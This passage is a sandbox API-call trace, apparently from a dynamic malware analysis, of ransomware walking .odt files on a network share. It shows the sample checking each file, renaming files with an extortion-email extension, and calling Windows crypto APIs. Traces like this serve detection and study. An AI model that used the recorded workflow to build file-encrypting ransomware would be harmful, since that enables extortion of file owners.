"\\\\192.168.0.1\\documents\\y4kxertvqywocrsxjxg.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.517] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=88174) returned 1 [0040.517] CloseHandle (hObject=0x180) returned 1 [0040.517] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\y4KxErTVQYWoCrSXjxG.odt" (normalized: "\\\\192.168.0.1\\documents\\y4kxertvqywocrsxjxg.odt")) returned 0x80 [0040.517] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\y4KxErTVQYWoCrSXjxG.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\y4kxertvqywocrsxjxg.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.517] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\y4KxErTVQYWoCrSXjxG.odt" (normalized: "\\\\192.168.0.1\\documents\\y4kxertvqywocrsxjxg.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.524] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0040.524] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dUSDGqr.odt" (normalized: "\\\\192.168.0.1\\documents\\dusdgqr.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.527] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=23398) returned 1 [0040.528] CloseHandle (hObject=0x180) returned 1 [0040.528] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dUSDGqr.odt" (normalized: "\\\\192.168.0.1\\documents\\dusdgqr.odt")) returned 0x80 [0040.528] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dUSDGqr.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\dusdgqr.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.528] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\dUSDGqr.odt" (normalized: "\\\\192.168.0.1\\documents\\dusdgqr.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.543] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0040.543] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cOTqEVjblHM.odt" (normalized: "\\\\192.168.0.1\\documents\\cotqevjblhm.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.548] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=91750) returned 1 [0040.548] CloseHandle (hObject=0x180) returned 1 [0040.548] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cOTqEVjblHM.odt" (normalized: "\\\\192.168.0.1\\documents\\cotqevjblhm.odt")) returned 0x80 [0040.548] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cOTqEVjblHM.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cotqevjblhm.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.549] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cOTqEVjblHM.odt" (normalized: "\\\\192.168.0.1\\documents\\cotqevjblhm.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.556] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0040.556] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YsUSMSG.odt" (normalized: "\\\\192.168.0.1\\documents\\ysusmsg.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.562] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=39368) returned 1 [0040.562] CloseHandle (hObject=0x180) returned 1 [0040.562] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YsUSMSG.odt" (normalized: "\\\\192.168.0.1\\documents\\ysusmsg.odt")) returned 0x80 [0040.563] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YsUSMSG.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ysusmsg.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.563] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YsUSMSG.odt" (normalized: "\\\\192.168.0.1\\documents\\ysusmsg.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.569] ResetEvent (hEvent=0x148) returned 1 [0040.569] SetEvent (hEvent=0x14c) returned 1 [0040.570] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2aefb90 | out: pbBuffer=0x2aefb90) returned 1 [0040.570] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qkovu43RZ2n.odt" (normalized: "\\\\192.168.0.1\\documents\\qkovu43rz2n.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0040.575] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2aefb28 | out: lpFileSize=0x2aefb28*=86957) returned 1 [0040.575] CloseHandle (hObject=0x180) returned 1 [0040.575] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qkovu43RZ2n.odt" (normalized: "\\\\192.168.0.1\\documents\\qkovu43rz2n.odt")) returned 0x80 [0040.576] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qkovu43RZ2n.odt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\qkovu43rz2n.odt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.576] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\qkovu43RZ2n.odt" (normalized: "\\\\192.168.0.1\\documents\\qkovu43rz2n.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.592] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x50) returned 0xb058a0 [0040.592] CryptImportKey (in: hProv=0x735018, pbData=0x2aefad0*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2aefb38 | out: phKey=0x2aefb38*=0x73d5a8) returned 1 [0040.592] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x2aefb20, dwFlags=0x0) returned 1 [0040.592] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb058a0, pdwDataLen=0x2aefaec | out: pbData=0xb058a0, pdwDataLen=0x2aefaec) returned 1 [0040.592] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0040.592] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0040.593] GetProcAddress (hModule=0x75130000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7515d638 [0040.593] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0040.594] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb058a0 | out: hHeap=0xb00000) returned 1 [0040.594] SetEvent (hEvent=0x148) returned 1 [0040.594] SetEvent (hEvent=0x140) returned 1 [0040.594] SetEvent (hEvent=0x14c) returned 1 [0040.599] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x2ed0020 | out: hHeap=0xb00000) returned 1 [0040.600] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05810 | out: hHeap=0xb00000) returned 1 [0040.600] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x37ff88 | out: hHeap=0xb00000) returned 1 [0040.601] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x38ff90 | out: hHeap=0xb00000) returned 1 Thread: id = 15 os_tid = 0xf04 [0037.204] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x39ff98 [0037.204] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x10000) returned 0x3affa0 [0037.204] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x28) returned 0xb05840 [0037.204] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x110102) returned 0x2ff0020 [0037.205] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x50) returned 0xb05870 [0037.205] CryptImportKey (in: hProv=0x735018, pbData=0x2dafd70*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2dafdd8 | out: phKey=0x2dafdd8*=0x73d5a8) returned 1 [0037.205] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x2dafdc0, dwFlags=0x0) returned 1 [0037.205] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05870, pdwDataLen=0x2dafd8c | out: pbData=0xb05870, pdwDataLen=0x2dafd8c) returned 1 [0037.205] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0037.205] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75130000 [0037.205] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7515d620 [0037.205] Wow64DisableWow64FsRedirection (in: OldValue=0x2dafe28 | out: OldValue=0x2dafe28*=0x0) returned 1 [0037.206] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05870 | out: hHeap=0xb00000) returned 1 [0037.206] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.206] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.206] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.206] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.206] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.206] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.206] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.207] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.208] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.209] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.210] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.211] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.212] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.213] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.214] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.215] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.216] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.217] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.218] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.219] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.219] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.219] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.219] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.219] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.219] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.219] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.219] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.219] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.219] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.220] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.221] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0xffffffff) returned 0x0 [0037.222] WaitForSingleObject (hHandle=0x15c, 